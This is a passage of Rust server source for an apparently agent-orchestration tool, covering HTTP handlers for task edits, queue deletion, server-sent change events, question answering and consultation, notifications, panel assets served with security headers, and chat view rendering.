6808 let cfg = crate::config::Config::discover(repo, None)
6809 .ok()
6810 .map(|(c, _)| c);
6811 let screened =
6812 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6813 .await
6814 .map_err(|dup| {
6815 ApiError::conflict(dup.render(
6816 "Nothing was saved. If it is not a duplicate, repeat the request \
6817 with \"force\": true.",
6818 ))
6819 })?;
6820 if let crate::dupes::Screened::Unjudged(why) = screened {
6821 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6822 }
6823 }
6824 judged = seen;
6825 }
6826 let force = body.force;
6827 mutate(ui, id, move |t| {
6828 if !force && body.instruction != t.instruction {
6829 match &judged {
6830 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6831 _ => {
6832 anyhow::bail!("the task changed while it was being checked; repeat the request")
6833 }
6834 }
6835 }
6836 t.edit(body.title.clone(), body.instruction.clone())
6837 })
6838 .await
6839}
6840
6841async fn queue_done(
6849 State(ui): State<Arc<Ui>>,
6850 Path(id): Path<String>,
6851) -> ApiResult<Json<TaskView>> {
6852 let home = ui.home.clone();
6853 mutate(ui, id, move |t| {
6854 t.succeed();
6855 crate::daemon::supersede_prior_runs(t, &home);
6863 Ok(())
6864 })
6865 .await
6866}
6867
6868async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6876 blocking(move || {
6877 let id = resolve_task(&ui.queue, &id)?;
6878 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6879 ui.queue
6880 .remove(&id, in_flight, &ui.questions)
6881 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6882 Ok(StatusCode::NO_CONTENT)
6883 })
6884 .await
6885}
6886
6887async fn mutate(
6896 ui: Arc<Ui>,
6897 id: String,
6898 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6899) -> ApiResult<Json<TaskView>> {
6900 blocking(move || {
6901 let id = resolve_task(&ui.queue, &id)?;
6902 let _claim = ui.queue.claim(&id).map_err(|e| {
6907 ApiError::conflict(format!(
6908 "{e:#} - a daemon is running this task, so it cannot be \
6909 changed from here yet; wait until it is released, then retry"
6910 ))
6911 })?;
6912 let mut task = ui.queue.get(&id)?;
6913 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6914 Ok(dup) => ApiError::conflict(dup.render(
6915 "Nothing was saved. If it is not a duplicate, repeat the request with \
6916 \"force\": true.",
6917 )),
6918 Err(e) => ApiError::bad_request_from(e),
6919 })?;
6920 ui.queue.put(&mut task)?;
6921 Ok(Json(TaskView::from(task)))
6922 })
6923 .await
6924}
6925
6926async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6931 ui.monitor.ensure_worker(&ui);
6932 let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
6933 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6934
6935 let state = Arc::clone(&ui);
6936 tokio::spawn(async move {
6937 let initial_revisions = {
6938 let guard = match state.monitor.latest.lock() {
6939 Ok(g) => g,
6940 Err(p) => p.into_inner(),
6941 };
6942 guard.as_ref().map(|(r, _)| *r)
6943 };
6944 if let Some(revisions) = initial_revisions {
6945 let initial_payload = serde_json::json!({
6946 "queue_rev": revisions.0,
6947 "runs_rev": revisions.1,
6948 "questions_rev": revisions.2,
6949 "talks_rev": revisions.3,
6950 "notifications_rev": revisions.4,
6951 "loop_rev": revisions.5,
6952 });
6953
6954 if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
6955 if tx.send(event).await.is_err() {
6956 return;
6957 }
6958 }
6959 }
6960
6961 loop {
6962 match tokio::select! {
6963 _ = tx.closed() => return,
6964 value = broadcast_rx.recv() => value,
6965 } {
6966 Ok(notif) => {
6967 let Ok(event) = Event::default().event("change").json_data(notif.payload)
6968 else {
6969 break;
6970 };
6971 if tx.send(event).await.is_err() {
6972 break;
6973 }
6974 }
6975 Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
6976 let revs = {
6977 let guard = match state.monitor.latest.lock() {
6978 Ok(g) => g,
6979 Err(p) => p.into_inner(),
6980 };
6981 guard.as_ref().map(|(r, _)| *r)
6982 };
6983 if let Some(revs) = revs {
6984 let payload = serde_json::json!({
6985 "queue_rev": revs.0,
6986 "runs_rev": revs.1,
6987 "questions_rev": revs.2,
6988 "talks_rev": revs.3,
6989 "notifications_rev": revs.4,
6990 "loop_rev": revs.5,
6991 });
6992 if let Ok(event) = Event::default().event("change").json_data(payload) {
6993 if tx.send(event).await.is_err() {
6994 break;
6995 }
6996 }
6997 }
6998 }
6999 Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7000 break;
7001 }
7002 }
7003 }
7004 });
7005
7006 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7007 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7008}
7009
7010fn run_ids(runs: &FsPath) -> Vec<String> {
7016 let mut ids: Vec<String> = std::fs::read_dir(runs)
7017 .into_iter()
7018 .flatten()
7019 .flatten()
7020 .filter(|e| e.path().join("run.json").is_file())
7021 .map(|e| e.file_name().to_string_lossy().into_owned())
7022 .collect();
7023 ids.sort_unstable_by(|a, b| b.cmp(a));
7025 ids
7026}
7027
7028fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7030 let path = runs.join(id).join("run.json");
7031 let body =
7032 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7033 let state: RunState =
7034 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7035 run::migrate_schema(state)
7040}
7041
7042#[must_use]
7050pub fn runs_unreadable(runs: &FsPath) -> usize {
7051 run_ids(runs)
7052 .into_iter()
7053 .filter(|id| read_run(runs, id).is_err())
7054 .count()
7055}
7056
7057fn plain_record_id(id: &str) -> bool {
7058 !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7059}
7060
7061fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7063 if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7064 return Ok(id.to_owned());
7065 }
7066 pick(run_ids(runs), id, "run")
7067}
7068
7069fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7071 if plain_record_id(id) && queue.path_of(id).is_file() {
7072 return Ok(id.to_owned());
7073 }
7074 let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7075 pick(ids, id, "task")
7076}
7077
7078#[derive(Debug, Serialize)]
7089struct QuestionView {
7090 choice_effects: std::collections::BTreeMap<String, String>,
7091 record_revision: String,
7092 #[serde(flatten)]
7093 question: Question,
7094 detail_md: Vec<md::Node>,
7095 posting_view: Option<PostingView>,
7096 thread_bodies_md: Vec<Vec<md::Node>>,
7098 thread_notes_md: Vec<Option<Vec<md::Node>>>,
7101 waiting_on_agent: bool,
7111 holder: Option<&'static str>,
7115 deputies_enabled: bool,
7119 deputy_exhausted: bool,
7122 text_delivery: crate::question_delivery::Availability,
7123 run_is_task: bool,
7126 origin_chat: Option<String>,
7129 origin_chat_closed: bool,
7131 can_consult_chat: bool,
7133}
7134
7135#[derive(Debug, Serialize)]
7136struct PostingView {
7137 before_md: Vec<md::Node>,
7138 after_md: Vec<md::Node>,
7139 fields: Vec<crate::github_text::ComparisonView>,
7140}
7141
7142fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7143 let comparison = question.posting_comparison.as_ref()?;
7144 if !comparison.matches_detail(&question.detail) {
7145 return None;
7146 }
7147 let mut ids = std::collections::BTreeSet::new();
7148 if comparison.fields.is_empty()
7149 || comparison
7150 .fields
7151 .iter()
7152 .flat_map(|f| &f.pairs)
7153 .any(|p| !ids.insert(p.id))
7154 || comparison
7155 .fields
7156 .iter()
7157 .flat_map(|f| &f.original_triggers)
7158 .any(|t| !ids.insert(t.id))
7159 {
7160 return None;
7161 }
7162 let fields = comparison
7163 .fields
7164 .iter()
7165 .map(|f| f.view(comparison.excerpt))
7166 .collect::<Option<Vec<_>>>()?;
7167 Some(PostingView {
7168 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7169 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7170 fields,
7171 })
7172}
7173
7174impl QuestionView {
7175 fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7179 let base = md::ImageBase::QuestionPanel {
7180 id: question.id.clone(),
7181 };
7182 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7183 Self {
7184 choice_effects: question
7185 .choices
7186 .iter()
7187 .filter_map(|c| {
7188 crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7189 })
7190 .collect(),
7191 record_revision: question_record_revision(&question),
7192 detail_md: md::to_nodes(&question.detail, &base),
7193 posting_view: posting_view(&question, &base),
7194 thread_bodies_md: question
7195 .thread
7196 .iter()
7197 .map(|t| md::to_nodes(&t.body, &base))
7198 .collect(),
7199 thread_notes_md: question
7200 .thread
7201 .iter()
7202 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7203 .collect(),
7204 deputy_exhausted: store.deputy_exhausted(&question),
7205 waiting_on_agent: question.waiting_on_agent(),
7206 holder,
7207 deputies_enabled: deputies_enabled(cfg, &question),
7208 text_delivery: crate::question_delivery::availability(store, &question, cfg),
7209 run_is_task: question.run_names_task(),
7210 origin_chat: None,
7211 origin_chat_closed: false,
7212 can_consult_chat: false,
7213 question,
7214 }
7215 }
7216
7217 fn with_origin(
7219 mut self,
7220 tasks: &[crate::queue::Task],
7221 talks: &[Talk],
7222 watches: &[crate::release_watch::WatchState],
7223 ) -> Self {
7224 let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7225 self.can_consult_chat = consult.is_some();
7226 let talk =
7227 crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7228 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7229 self.origin_chat = talk.map(|t| t.id);
7230 self
7231 }
7232}
7233
7234fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7238 Config::discover(repo, None).ok().map(|(c, _)| c)
7239}
7240
7241fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7243 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7244}
7245
7246fn question_views(
7249 qs: Vec<Question>,
7250 store: &ask::Questions,
7251 load: impl FnOnce() -> Option<Config>,
7252) -> Vec<QuestionView> {
7253 if qs.is_empty() {
7254 return Vec::new();
7255 }
7256 let cfg = load();
7257 qs.into_iter()
7258 .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7259 .collect()
7260}
7261
7262fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7272 if !q.status.open() {
7273 return None;
7274 }
7275 if q.cwd.is_none()
7276 && q.deputy.is_none()
7277 && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7278 {
7279 return crate::deputy::kind_of(q).map(|_| "nobody");
7280 }
7281 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7282 Some(_) if q.deputy.is_some() => "deputy",
7283 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7284 Some(_) => "asker",
7285 None => "nobody",
7286 })
7287}
7288
7289async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7295 blocking(move || {
7296 let questions = ui.questions.list();
7297 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7298 Ok(Json(
7299 question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7300 .into_iter()
7301 .map(|view| view.with_origin(&tasks, &talks, &watches))
7302 .collect(),
7303 ))
7304 })
7305 .await
7306}
7307
7308async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7310 blocking(move || {
7311 Ok(Json(question_views(
7312 ui.questions.list(),
7313 &ui.questions,
7314 || deputy_config(&ui.repo),
7315 )))
7316 })
7317 .await
7318}
7319
7320fn question_record_revision(question: &Question) -> String {
7321 use std::hash::{Hash as _, Hasher as _};
7322 let mut hash = std::hash::DefaultHasher::new();
7323 serde_json::to_vec(question)
7324 .expect("serializable question")
7325 .hash(&mut hash);
7326 format!("{:016x}", hash.finish())
7327}
7328
7329#[derive(Serialize)]
7330struct QuestionOriginView {
7331 id: String,
7332 record_revision: String,
7333 origin_chat: Option<String>,
7334 origin_chat_closed: bool,
7335 can_consult_chat: bool,
7336}
7337
7338async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7339 blocking(move || {
7340 let questions = ui.questions.list();
7341 let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7342 Ok(Json(
7343 questions
7344 .into_iter()
7345 .map(|question| {
7346 let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7347 let can_consult_chat = consult.is_some();
7348 let talk = crate::consult::associated_talk_with_watches(
7349 &tasks, &talks, &question, &watches,
7350 );
7351 QuestionOriginView {
7352 record_revision: question_record_revision(&question),
7353 id: question.id,
7354 origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7355 origin_chat: talk.map(|talk| talk.id),
7356 can_consult_chat,
7357 }
7358 })
7359 .collect(),
7360 ))
7361 })
7362 .await
7363}
7364
7365type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7366
7367fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7371 fn task_for_run(
7372 ui: &Ui,
7373 index: &mut Option<Vec<Arc<TaskRelation>>>,
7374 run: &str,
7375 loaded: &HashMap<String, Task>,
7376 ) -> ApiResult<Option<Task>> {
7377 if !plain_record_id(run) {
7378 return Ok(None);
7379 }
7380 if index.is_none() {
7381 *index = Some(ui.indexed_tasks()?);
7382 }
7383 Ok(index
7384 .as_ref()
7385 .expect("loaded index")
7386 .iter()
7387 .find(|task| task.runs.iter().any(|id| id == run))
7388 .and_then(|task| {
7389 loaded
7390 .get(&task.id)
7391 .cloned()
7392 .or_else(|| ui.queue.get(&task.id).ok())
7393 })
7394 .filter(|task| task.runs.iter().any(|id| id == run)))
7395 }
7396 let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7397 plain_record_id(id)
7398 .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7399 .flatten()
7400 .filter(|task| task.id == id)
7401 };
7402 let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7403 let mut index = None;
7404 let mut tasks = HashMap::new();
7405 let mut talks = HashMap::new();
7406 for question in questions {
7407 for reference in crate::consult::question_task_refs(question, &watches) {
7408 let mut current = match reference {
7409 crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7410 crate::consult::QuestionTaskRef::Run(id) => {
7411 task_for_run(ui, &mut index, id, &tasks)?
7412 }
7413 };
7414 let mut seen = HashSet::new();
7415 for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7416 let Some(task) = current.take() else {
7417 break;
7418 };
7419 if !seen.insert(task.id.clone()) {
7420 break;
7421 }
7422 let chat = task.chat_talk().map(str::to_owned);
7423 let followup = task.followup.clone();
7424 tasks.insert(task.id.clone(), task);
7425 if let Some(chat) = chat {
7426 if plain_record_id(&chat)
7427 && !talks.contains_key(&chat)
7428 && let Ok(talk) = ui.talks.get(&chat)
7429 {
7430 talks.insert(chat, talk);
7431 }
7432 break;
7433 }
7434 let Some(followup) = followup else {
7435 break;
7436 };
7437 current = match followup.origin_task {
7438 Some(id) => direct_task(&id, &tasks),
7439 None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7440 };
7441 }
7442 }
7443 }
7444 let mut tasks: Vec<Task> = tasks.into_values().collect();
7445 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7446 Ok((tasks, talks.into_values().collect(), watches))
7447}
7448
7449async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7452 blocking(move || {
7453 let items = ui.notices.list();
7454 let unread = items.iter().filter(|n| n.unread()).count();
7455 let items: Vec<_> = items
7456 .into_iter()
7457 .map(|n| {
7458 let question = crate::notices::answerable_question(&n, &ui.questions);
7459 let mut item = serde_json::to_value(n)?;
7460 item["answerable_question"] = serde_json::json!(question);
7461 Ok(item)
7462 })
7463 .collect::<anyhow::Result<_>>()?;
7464 Ok(Json(
7465 serde_json::json!({ "unread": unread, "items": items }),
7466 ))
7467 })
7468 .await
7469}
7470
7471fn notice_error(e: anyhow::Error) -> ApiError {
7472 ApiError::not_found(format!("{e:#}"))
7475}
7476
7477async fn notification_read(
7479 State(ui): State<Arc<Ui>>,
7480 Path(id): Path<String>,
7481) -> ApiResult<Json<Notice>> {
7482 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7483}
7484
7485async fn notification_dismiss(
7487 State(ui): State<Arc<Ui>>,
7488 Path(id): Path<String>,
7489) -> ApiResult<Json<Notice>> {
7490 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7491}
7492
7493async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7495 blocking(move || {
7496 let changed = ui.notices.mark_all_read()?;
7497 Ok(Json(serde_json::json!({ "marked": changed })))
7498 })
7499 .await
7500}
7501
7502#[derive(Debug, Default, Deserialize)]
7508#[serde(default, deny_unknown_fields)]
7509struct NewAnswer {
7510 choice: Option<String>,
7511 text: Option<String>,
7512 talk: Option<String>,
7513 head: Option<String>,
7514}
7515
7516async fn question_answer(
7517 State(ui): State<Arc<Ui>>,
7518 Path(id): Path<String>,
7519 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7520) -> ApiResult<Json<QuestionView>> {
7521 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7522 let answer = match (body.choice, body.text) {
7523 (Some(c), None) => Answer::Choice(c),
7524 (None, Some(t)) => Answer::Text(t),
7525 (Some(_), Some(_)) => {
7526 return Err(ApiError::bad_request(
7527 "send either `choice` or `text`, not both",
7528 ));
7529 }
7530 (None, None) => {
7531 return Err(ApiError::bad_request("send a `choice` or a `text`"));
7532 }
7533 };
7534
7535 blocking(move || {
7536 let id = resolve_question(&ui.questions, &id)?;
7537 let q = ui
7538 .questions
7539 .get(&id)
7540 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7541 if !q.status.open() {
7542 return Err(ApiError::conflict(format!(
7546 "question {} is already {}",
7547 q.short(),
7548 q.status.as_str()
7549 )));
7550 }
7551 let cfg = deputy_config(&ui.repo);
7555 let (q, ()) = ui
7556 .questions
7557 .update(&q.id, |r| {
7558 anyhow::ensure!(
7559 r.routed_task.is_none() || r.merge_target.is_some(),
7560 "task decisions are free text in the task chat; its agent records them with `magi task control decide`"
7561 );
7562 let merge = matches!(&answer, ask::Answer::Choice(c)
7563 if crate::consult::consent(r, c) == crate::consult::Consent::Merge);
7564 if r.routed_task.is_some() && r.merge_target.is_some() && merge
7567 && (body.talk.is_some() || body.head.is_some())
7568 {
7569 let talk_id = body.talk.as_deref().context("approval button requires its chat")?;
7570 let head = body.head.as_deref().context("approval button requires the displayed head")?;
7571 let talk = ui.talks.get(talk_id)?;
7572 anyhow::ensure!(
7573 talk.status.open(),
7574 "approval chat is closed"
7575 );
7576 r.answer_chat_button(answer, talk_id, head)
7577 } else {
7578 r.answer(answer)
7579 }
7580 })
7581 .map_err(ApiError::bad_request_from)?;
7582 let (tasks, talks, watches) =
7583 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7584 Ok(Json(
7585 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7586 ))
7587 })
7588 .await
7589}
7590
7591fn question_text_error(e: anyhow::Error) -> ApiError {
7593 let reason = e
7594 .downcast_ref::<crate::question_delivery::TextUnavailable>()
7595 .map(|e| e.reason);
7596 let error = ApiError::bad_request_from(e);
7597 if let Some(reason) = reason {
7598 ApiError {
7599 text_reason: Some(reason),
7600 ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
7601 }
7602 } else {
7603 error
7604 }
7605}
7606
7607#[derive(Debug, Deserialize)]
7609#[serde(deny_unknown_fields)]
7610struct NewSay {
7611 body: String,
7612}
7613
7614async fn question_say(
7624 State(ui): State<Arc<Ui>>,
7625 Path(id): Path<String>,
7626 body: std::result::Result<Json<NewSay>, JsonRejection>,
7627) -> ApiResult<Json<QuestionView>> {
7628 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7629 blocking(move || {
7630 let id = resolve_question(&ui.questions, &id)?;
7631 let q = ui
7632 .questions
7633 .get(&id)
7634 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7635 if !q.status.open() {
7636 return Err(ApiError::conflict(format!(
7640 "question {} is already {}",
7641 q.short(),
7642 q.status.as_str()
7643 )));
7644 }
7645 let cfg = deputy_config(&ui.repo);
7648 let (q, ()) = ui
7649 .questions
7650 .update(&q.id, |r| {
7651 if body.body.trim().is_empty() {
7652 return r.say(body.body);
7653 }
7654 crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
7655 r.say(body.body)
7656 })
7657 .map_err(question_text_error)?;
7658 let (tasks, talks, watches) =
7659 question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
7660 Ok(Json(
7661 QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
7662 ))
7663 })
7664 .await
7665}
7666
7667async fn question_consult(
7676 State(ui): State<Arc<Ui>>,
7677 Path(id): Path<String>,
7678) -> ApiResult<(StatusCode, Json<QuestionView>)> {
7679 let (view, reclaimed) = blocking({
7680 let ui = Arc::clone(&ui);
7681 move || {
7682 let id = resolve_question(&ui.questions, &id)?;
7683 let q = ui
7684 .questions
7685 .get(&id)
7686 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7687 if !q.status.open() {
7688 return Err(ApiError::conflict(format!(
7689 "question {} is already {}",
7690 q.short(),
7691 q.status.as_str()
7692 )));
7693 }
7694 let (tasks, talks, watches) = question_origin_inputs(&ui, std::slice::from_ref(&q))?;
7695 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
7696 return Err(ApiError::conflict(format!(
7697 "question {} has no chat to ask",
7698 q.short()
7699 )));
7700 };
7701 let cfg = if q.consult.is_none() {
7705 Some(Config::discover(&talk.repo, None)?.0)
7706 } else {
7707 None
7708 };
7709 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
7710 let claim = if fresh {
7711 match ui.begin_queued_talk_turn(&talk.id)? {
7712 Some(turn_guard) => {
7713 let talk = ui.talks.get(&talk.id)?;
7714 let cfg = match cfg {
7715 Some(cfg) => cfg,
7716 None => Config::discover(&talk.repo, None)?.0,
7717 };
7718 Some((talk, cfg, turn_guard))
7719 }
7720 None => None,
7721 }
7722 } else {
7723 None
7724 };
7725 let q = ui.questions.get(&q.id)?;
7726 let cfg = deputy_config(&ui.repo);
7727 let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
7728 .with_origin(&tasks, &talks, &watches);
7729 Ok((view, claim))
7730 }
7731 })
7732 .await?;
7733 if let Some((talk, cfg, turn_guard)) = reclaimed {
7734 let talks = ui.talks.clone();
7735 let id = talk.id.clone();
7736 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7737 }
7738 Ok((StatusCode::ACCEPTED, Json(view)))
7739}
7740
7741fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
7743 if plain_record_id(id) && store.path_of(id).is_file() {
7744 return Ok(id.to_owned());
7745 }
7746 pick(
7747 store.list().into_iter().map(|q| q.id).collect(),
7748 id,
7749 "question",
7750 )
7751}
7752
7753async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
7768 blocking(move || {
7769 let id = resolve_question(&ui.questions, &id)?;
7770 let Some(html) = ui.questions.panel_html(&id) else {
7771 return Err(ApiError::not_found(format!("question {id} has no panel")));
7772 };
7773 Ok(panel_response(
7774 "text/html; charset=utf-8",
7775 false,
7776 html.into_bytes(),
7777 ))
7778 })
7779 .await
7780}
7781
7782async fn question_asset(
7810 State(ui): State<Arc<Ui>>,
7811 Path((id, name)): Path<(String, String)>,
7812) -> ApiResult<Response> {
7813 if !crate::ask::valid_asset_name(&name) {
7816 return Err(ApiError::bad_request(format!(
7817 "`{name}` is not a usable asset name"
7818 )));
7819 }
7820 blocking(move || {
7821 let id = resolve_question(&ui.questions, &id)?;
7822 let asset = ui
7823 .questions
7824 .panel_asset(&id, &name)
7825 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
7826 let Some(bytes) = asset else {
7827 return Err(ApiError::not_found(format!(
7828 "question {id} has no asset `{name}`"
7829 )));
7830 };
7831 Ok(panel_response(
7832 asset_content_type(&name),
7833 is_svg(&name),
7834 bytes,
7835 ))
7836 })
7837 .await
7838}
7839
7840fn asset_content_type(name: &str) -> &'static str {
7853 match extension(name).as_deref() {
7854 Some("png") => "image/png",
7855 Some("jpg" | "jpeg") => "image/jpeg",
7856 Some("gif") => "image/gif",
7857 Some("webp") => "image/webp",
7858 Some("svg") => "image/svg+xml",
7859 Some("css") => "text/css; charset=utf-8",
7860 Some("txt") => "text/plain; charset=utf-8",
7861 _ => "application/octet-stream",
7862 }
7863}
7864
7865fn is_svg(name: &str) -> bool {
7868 extension(name).as_deref() == Some("svg")
7869}
7870
7871fn extension(name: &str) -> Option<String> {
7873 name.rsplit_once('.')
7874 .map(|(_, ext)| ext.to_ascii_lowercase())
7875}
7876
7877fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
7894 let mut res = (
7895 [
7896 (header::CONTENT_TYPE, content_type),
7897 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
7898 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7899 (header::REFERRER_POLICY, "no-referrer"),
7900 ],
7901 body,
7902 )
7903 .into_response();
7904 if download {
7905 res.headers_mut().insert(
7906 header::CONTENT_DISPOSITION,
7907 HeaderValue::from_static("attachment"),
7908 );
7909 }
7910 res
7911}
7912
7913#[derive(Debug, Serialize)]
7919struct ChatApproval {
7920 question: String,
7921 target: crate::merge_decision::Target,
7922}
7923
7924#[derive(Debug, Serialize)]
7925struct TalkView {
7926 #[serde(flatten)]
7927 talk: Talk,
7928 turn_bodies_md: Vec<Vec<md::Node>>,
7929 turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
7931 pending_messages_md: Vec<Option<Vec<md::Node>>>,
7932 merge_approvals: Vec<ChatApproval>,
7933 thinking: bool,
7941 context: talk::ContextUsage,
7945 operator_name: Option<String>,
7948 persona_name: Option<String>,
7950 persona_avatar: String,
7953 operator_avatar: String,
7955 magi_avatar: String,
7956}
7957
7958impl TalkView {
7959 fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
7962 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7963 Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
7964 }
7965
7966 fn with_config(
7969 talk: Talk,
7970 thinking: bool,
7971 cfg: Option<&Config>,
7972 home: &FsPath,
7973 cache: &id_links::IndexCache,
7974 ) -> Self {
7975 let references = cache.for_talk(home, &talk);
7976 Self::with_references(talk, thinking, cfg, home, &references)
7977 }
7978
7979 fn with_references(
7980 mut talk: Talk,
7981 thinking: bool,
7982 cfg: Option<&Config>,
7983 home: &FsPath,
7984 references: &id_links::IdIndex,
7985 ) -> Self {
7986 let snapshot = talk.clone();
7988 for (index, turn) in talk.turns.iter_mut().enumerate() {
7989 let original = &snapshot.turns[index];
7990 if turn.messages.is_empty() {
7991 if let Some(display) = talk::notice_display(&snapshot, original, None) {
7992 turn.messages.push(talk::Message {
7993 sender: Some(talk::Sender::Magi),
7994 body: original.body.clone(),
7995 display: Some(display),
7996 attachments: original.attachments.clone(),
7997 reply: None,
7998 });
7999 }
8000 } else {
8001 for (i, message) in turn.messages.iter_mut().enumerate() {
8002 message.display =
8003 talk::notice_display(&snapshot, original, original.messages.get(i));
8004 if message.display.is_some() {
8005 message.sender = Some(talk::Sender::Magi);
8006 }
8007 }
8008 }
8009 }
8010 for message in &mut talk.pending_messages {
8011 if message.display.is_none()
8012 && (message.sender == Some(talk::Sender::Magi)
8013 || snapshot
8014 .completion_notices
8015 .iter()
8016 .any(|r| r.notice == message.body))
8017 {
8018 message.display = crate::prompt::legacy_notice_display(&message.body);
8019 if message.display.is_some() {
8020 message.sender = Some(talk::Sender::Magi);
8021 }
8022 }
8023 }
8024 if talk.pending_messages.is_empty()
8025 && snapshot
8026 .completion_notices
8027 .iter()
8028 .any(|r| r.notice == talk.pending)
8029 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8030 {
8031 talk.pending_messages.push(talk::Message {
8032 sender: Some(talk::Sender::Magi),
8033 display: Some(display),
8034 body: talk.pending.clone(),
8035 attachments: talk.pending_attachments.clone(),
8036 reply: None,
8037 });
8038 }
8039 let excerpts: Vec<Vec<Option<String>>> = talk
8040 .turns
8041 .iter()
8042 .map(|turn| {
8043 turn.messages
8044 .iter()
8045 .map(|m| {
8046 m.display
8047 .as_ref()
8048 .map(|d| d.facts.chars().take(240).collect())
8049 })
8050 .collect()
8051 })
8052 .collect();
8053 for turn in &mut talk.turns {
8054 let provenance = talk::sender(turn, None);
8055 turn.sender = Some(provenance);
8056 for message in &mut turn.messages {
8057 message.sender = Some(message.sender.unwrap_or(provenance));
8058 }
8059 }
